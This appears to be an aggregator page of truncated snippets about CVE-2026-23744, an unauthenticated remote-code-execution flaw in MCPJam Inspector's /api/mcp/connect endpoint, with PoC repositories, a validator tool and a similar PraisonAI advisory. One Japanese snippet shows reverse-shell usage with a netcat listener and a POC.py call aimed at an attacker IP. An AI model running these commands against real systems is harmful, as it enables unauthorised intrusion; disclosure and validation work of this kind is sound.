CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector: неаутентифицированное удалённое выполнение кода PoC для неаутентифицированного удалённого выполнения кода через CVE-2026-23744. MCPJam Inspector 1.4.2 и более ранние версии открывают функциональность через /api/mcp/connect, которая позволяет запустить управляему...

mcpjam-cve-2026-23744-validator

MCPJam Inspector Authorized Security Validator Ограниченный проверочный валидатор для CVE-2026-23744 , затрагивающий уязвимые развертывания MCPJam Inspector. Этот проект является независимым, неразрушающим инструментом проверки для ранее раскрытого CVE-2026-23744. Он не является первоначальным...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector 未認証RCE MCPJam Inspector -i -p -m リバースシェルの例 ステップ1 — リスナーを起動: root@kitploit: nc -lvnp 4444 ステップ2 — エクスプロイトを実行: root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash ペイロードメソッド ターゲット上で busybox が動作しない場合は、他のメソッドを試してください:...

Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

CVE-2026-23744 exploit de RCE ejecución...

CVE-2026-57124: Improper Neutralization of Special Elements used in an OS Command

PraisonAI is a multi-agent teams system. Prior to 4.6.59, the default UI host applications expose POST /api/mcp/connect without mandatory authentication and accept caller-controlled command and args values that PraisonAIUI passes to StdioMCPClient to start a local process. Because the UI commands...